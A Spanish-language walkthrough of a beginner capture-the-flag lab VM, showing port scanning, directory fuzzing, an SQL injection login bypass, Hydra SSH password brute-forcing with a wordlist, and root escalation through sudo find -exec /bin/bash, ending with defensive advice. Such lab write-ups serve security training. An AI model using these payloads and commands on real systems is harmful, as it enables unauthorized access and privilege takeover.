Post

CTF-Botana de Calamares

Guía en Texto del CTF Botana de Calamares de The Hacker Labs

Esta guía incluye la enumeración de puertos, técnicas de recopilación de información, acceso, y escalamiento de privilegios.

Índice

1.Botana de Calamares

1.1Detalles de la máquina virtual

2.Reconocimiento

2.1Conectividad

2.2Escaneo y Enumeración

3.Obtener Acceso - Exploración y Explotación de Vulnerabilidades

3.1Validación del sitio web

3.2Fuzzing al sitio web (Dirb/Dirsearch)

3.3Acceso al Portal

3.4Fuerza Bruta con Hydra

4.Acceso al Objetivo

5Escalamiento de Privilegios

6.Observaciones y Recomendaciones

1. Botana de Calamares

1.1 Detalles de la máquina virtual

Botana de Calamares es una máquina virtual proporcionada por la plataforma web de CTFs The Hacker Labs. Agradecemos su contribución y apoyo a la comunidad, lo cual nos permite seguir creciendo y aprendiendo sobre este apasionante mundo de la ciberseguridad Ofensiva. Visitalos: The Hacker Labs

imagen.

Después de descargar la máquina virtual, obtendrás un archivo .ova. Al ejecutarlo, este archivo desplegará la máquina virtual en VMware o VirtualBox, y se le asignará automáticamente una dirección IP de la red en la que estás trabajando.

Vm nameIp AdressCreatorsLevel
Botana de Calamares192.168.1.49The Hacker LabsPrincipiante

imagen.

2. Reconocimiento

2.1 Conectividad

Lo primero que debemos hacer es verificar el acceso al escenario. Para ello, validamos la conectividad desde nuestra máquina virtual hacia el objetivo. Una vez confirmada la conexión, podemos iniciar las pruebas de ethical hacking.

1
2
3
4
5
6
9 (192.168.1.49) 56(84) bytes of data.
64 bytes from 192.168.1.49: icmp_seq=1 ttl=64 time=2.45 ms

--- 192.168.1.49 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 2.454/2.454/2.454/0.000 ms

2.2 Escaneo y Enumeración

Utilizamos Nmap para recopilar información que podría ser empleada posteriormente en un ataque. En nuestra exploración, buscamos identificar las versiones de los servicios y el sistema operativo del objetivo. El comando utilizado fue nmap -sVC -T4 -p- 192.168.1.49. Como resultado, observamos que el objetivo tiene los siguientes puertos abiertos: 22,80.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(root㉿v4lcyfer)-[/home/kali/Downloads]
└─# nmap -sVC -T4 -p- 192.168.1.49
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-02 08:33 EST
Nmap scan report for 192.168.1.49
Host is up (0.0010s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 a6:3f:47:73:4c:6d:b3:23:29:fa:f8:1f:1d:42:44:b9 (ECDSA)
|_  256 11:b8:dc:df:a9:c1:9f:b5:8f:55:93:a4:ef:65:c8:d5 (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-title: AFN
|_http-server-header: nginx/1.24.0 (Ubuntu)
MAC Address: 00:0C:29:F8:BD:DF (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.74 seconds

3. Obtener Acceso - Exploración y Explotación de Vulnerabilidades

3.1 Validación del sitio web

Dado que el puerto 80 está abierto, procederemos a examinar el contenido del sitio web.

imagen.

Observamos un artículo muy llamativo sobre SQL, por lo que procederemos a analizarlo

imagen.

El apartado de vulnerabilidades es muy interesante; siempre es valioso recordar conceptos o aprender algo nuevo. Nos llevamos los apuntes.

1
2
usuario: admin
contraseña: "" o ";"

¿Pero cómo? Está bien, Está bien, tranquilo. Aquí vamos con el apartado que mas te gusta.

! Importante: Alto en Teoría

Si tienes estos conceptos claros, puedes adelantarte

¿Cómo podemos aprovechar esta pista: “” o “;”? Recordemos que, si una aplicación con un servicio SQL que está mal configurada o que carece de protección, puede ser víctima de una manipulación de consultas. Esto permitiría forzar la autenticación sin necesidad de ingresar una contraseña.

Ejemplo de consulta SQL original (vulnerable):

1
SELECT * FROM usuarios WHERE usuario = 'admin' AND contraseña = 'password';

La pista me recordó un conocido payload que se enseña al iniciar en el poderoso mundo del SQL Injection: ' OR '1'='1', diseñado para alterar la lógica de una consulta SQL en una base de datos vulnerable. Su objetivo principal es eludir mecanismos de autenticación o obtener acceso no autorizado a una aplicación web.

Ahora, Cómo afecta la consulta con ' OR '1'='1': Si un atacante introduce el siguiente valor en el campo de contraseña:

1
' OR '1'='1

La consulta SQL resultante sería:

1
SELECT * FROM usuarios WHERE usuario = 'admin' AND contraseña = '' OR '1'='1';

Como ‘1’=’1’ siempre es verdadero, la consulta devuelve todas las filas de la tabla, lo que puede permitir un inicio de sesión sin autenticación.

Ahora, ¿dónde aplicamos esto? Veamos qué más encontramos en esta web. Pasemos al fuzzing.

3.2 Fuzzing al sitio web (Dirb / Dirsearch)

El fuzzing es una técnica de prueba de seguridad utilizada para encontrar vulnerabilidades en aplicaciones y sistemas. Consiste en enviar entradas aleatorias, malformadas o inesperadas (llamadas “fuzz”) a una aplicación para detectar comportamientos no deseados, errores, fallos de seguridad, o vulnerabilidades.

Vayamos a hacer Fuzzing con Dirb.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
┌──(root㉿v4lcyfer)-[/home/kali/Downloads]
└─# dirb http://192.168.1.49

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Sun Feb  2 10:46:23 2025
URL_BASE: http://192.168.1.49/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://192.168.1.49/ ----
+ http://192.168.1.49/admin.php (CODE:200|SIZE:359)                                                                                                                
==> DIRECTORY: http://192.168.1.49/images/                                                                                                                         
+ http://192.168.1.49/index.php (CODE:200|SIZE:4145)                                                                                                               
                                                                                                                                                                   
---- Entering directory: http://192.168.1.49/images/ ----
                                                                                                                                                                   
-----------------
END_TIME: Sun Feb  2 10:46:33 2025
DOWNLOADED: 9224 - FOUND: 2

Encontramos algunos directorios interesantes, pero tras revisarlos, validamos que no contienen información relevante.

Por eso vamos a validar bien los resultados con otra herramienta para fuzzing, vamos con dirsearch.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(root㉿v4lcyfer)-[/home/kali/Downloads]
└─# dirsearch -u http://192.168.1.49
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/kali/Downloads/reports/http_192.168.1.49/_25-02-02_10-55-27.txt

Target: http://192.168.1.49/

[10:55:27] Starting: 
[10:55:39] 200 -  359B  - /admin.php
[10:56:07] 301 -  178B  - /images  ->  http://192.168.1.49/images/
[10:56:07] 403 -    2KB - /images/
[10:56:12] 200 -    2KB - /login.php

Task Completed

A diferencia del primer intento detectamos un login.php, vamos a probar.

imagen.

¿Recuerdan dónde dijimos que podríamos probar el payload de SQL Injection? Bueno, adivinen… :)

3.3 Acceso al portal

Probemos.

1
2
3
usuario: admin
contraseña: ' OR '1'='1

imagen.

¡Estamos dentro!

imagen.

Ahora, observamos que tenemos acceso a una lista de tareas. Vamos a revisarla.

imagen.

Nos dice que tiene una nueva página web que esta codificada en base64 para que nadie pueda acceder y que es lee_archivos.

imagen.

Observamos la codificación. También podríamos hacerlo desde Kali, pero decidí hacerlo a través de un codificador en línea.

imagen.

Colocamos el resulado en el explorador

imagen.

Ahora con el usuario superadministrator vamos a probar algo de fuerza bruta para ver si podemos encontrar la contraseña.

3.4 Fuerza Bruta con Hydra

Probaremos encontrar la contraseña de superadministrator.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(root㉿v4lcyfer)-[/home/kali/Downloads]
└─# hydra -t 64 -l superadministrator -P rockyou.txt ssh://192.168.1.49 -I                   
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-02-02 11:32:32
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344398 login tries (l:1/p:14344398), ~224132 tries per task
[DATA] attacking ssh://192.168.1.49:22/
[22][ssh] host: 192.168.1.49   login: superadministrator   password: princesa
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 17 final worker threads did not complete until end.
[ERROR] 17 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-02-02 11:32:53

¡Bingo! Encontramos la conseña princesa

4.Acceso al objetivo

Probamos las credenciales obtenidas en el servicio SSH.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
┌──(root㉿v4lcyfer)-[/home/kali/Downloads]
└─# ssh superadministrator@192.168.1.49
superadministrator@192.168.1.49's password: 
Welcome to Ubuntu 24.04.1 LTS (GNU/Linux 6.8.0-51-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Sun Feb  2 04:36:04 PM UTC 2025

  System load:            0.16
  Usage of /:             14.1% of 49.21GB
  Memory usage:           32%
  Swap usage:             0%
  Processes:              219
  Users logged in:        0
  IPv4 address for ens33: 192.168.1.49
  IPv6 address for ens33: 2001:1388:18a1:ab1a:20c:29ff:fef8:bddf

 * Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
   just raised the bar for easy, resilient and secure K8s cluster deployment.

   https://ubuntu.com/engage/secure-kubernetes-at-the-edge

Expanded Security Maintenance for Applications is not enabled.

1 update can be applied immediately.
To see these additional updates run: apt list --upgradable

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Sun Feb  2 12:24:10 2025 from 192.168.1.50
superadministrator@thehackerslabs-bocatacalamares:~$ whoami
superadministrator
superadministrator@thehackerslabs-bocatacalamares:~$ id
uid=1001(superadministrator) gid=1001(superadministrator) groups=1001(superadministrator),100(users)
superadministrator@thehackerslabs-bocatacalamares:~$ 

Vayamos por la primera flag 🚩.

1
2
3
4
5
superadministrator@thehackerslabs-bocatacalamares:~$ ls
flag.txt  recordatorio.txt
superadministrator@thehackerslabs-bocatacalamares:~$ cat recordatorio.txt 
Me han dicho que existe una pagina llamada gtfobins muy util para ctfs, la dejo aquí apuntada para recordarlo mas adelante.
superadministrator@thehackerslabs-bocatacalamares:~$ 

el contenido de la flag por su forma me parece que esta codificado en base64, de curiosidad vamos a ver si tiene algun contenido inteteresante.

1
2
3
┌──(root㉿v4lcyfer)-[/home/kali]
└─# echo "<contenido de la flag.txt>" | base64 -d
sudo -l

Nos muestra el comando sudo -l, que raro xD

5. Escalamiento de Privilegios

Ya dentro del usuario superadministrator vamos a escalar privilegios.

1
2
3
4
5
6
7
superadministrator@thehackerslabs-bocatacalamares:~$ sudo -l
Matching Defaults entries for superadministrator on thehackerslabs-bocatacalamares:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User superadministrator may run the following commands on thehackerslabs-bocatacalamares:
    (ALL) NOPASSWD: /usr/bin/find
superadministrator@thehackerslabs-bocatacalamares:~$ 

Para validar qué comandos podemos ejecutar como root, utilizamos sudo -l, tal como nos recomendó la primera flag.

Observamos que podemos ejecutar el comando find sin permisos de root. Ahora, debemos investigar si podemos obtener una shell con privilegios de root utilizando alguna configuración de este comando y aplicando ciertos parámetros.

El archivo recordatorio.txt nos recomendo la pagina Gtfobins el cual tiene un directorio muy amplio de binarios que nos ayudaran a escalar privilegios.

Pero en este caso casualmente ya tenia un binario de find a la mano.

imagen.

Fuente: Andrea Fortuna

Asi que vamos a utilizarlo.

1
2
3
4
5
6
superadministrator@thehackerslabs-bocatacalamares:~$ sudo find /etc/passwd -exec /bin/bash \;
root@thehackerslabs-bocatacalamares:/home/superadministrator# whoami
root
root@thehackerslabs-bocatacalamares:/home/superadministrator# id
uid=0(root) gid=0(root) groups=0(root)
root@thehackerslabs-bocatacalamares:/home/superadministrator# 

Somos root

Ahora vamos por esa ultima flag 🚩.

1
2
3
4
root@thehackerslabs-bocatacalamares:/home/superadministrator# cd /root
root@thehackerslabs-bocatacalamares:~# ls
root.txt
root@thehackerslabs-bocatacalamares:~# 

Obtenemos la ultima flag

6. Observaciones y Recomendaciones

  • Es importante no depender únicamente de una herramienta para obtener información. No está de más comparar los resultados con otras herramientas o incluso probar alguna nueva que nos proporcione un mayor alcance.

  • Como administradores de servicios, no podemos limitarnos a hacer clic en ‘siguiente’, ‘siguiente’. En este caso, explotamos una mala configuración en SQL que podría haberse prevenido para hacer el sistema más robusto.

  • Como buen especialista en seguridad ofensiva, nunca debemos olvidar que el secreto está en los detalles. Siempre debemos ser observadores, atentos y minuciosos con nuestras revisiones.

  • Siempre el agradecimiento a The Hacker Labs por el esfuerzo que hacen en la plataforma para que la comunidad pueda seguir aprendiendo en escenarios seguros.

Saludos!

!Hack the life!

This post is licensed under CC BY 4.0 by the author.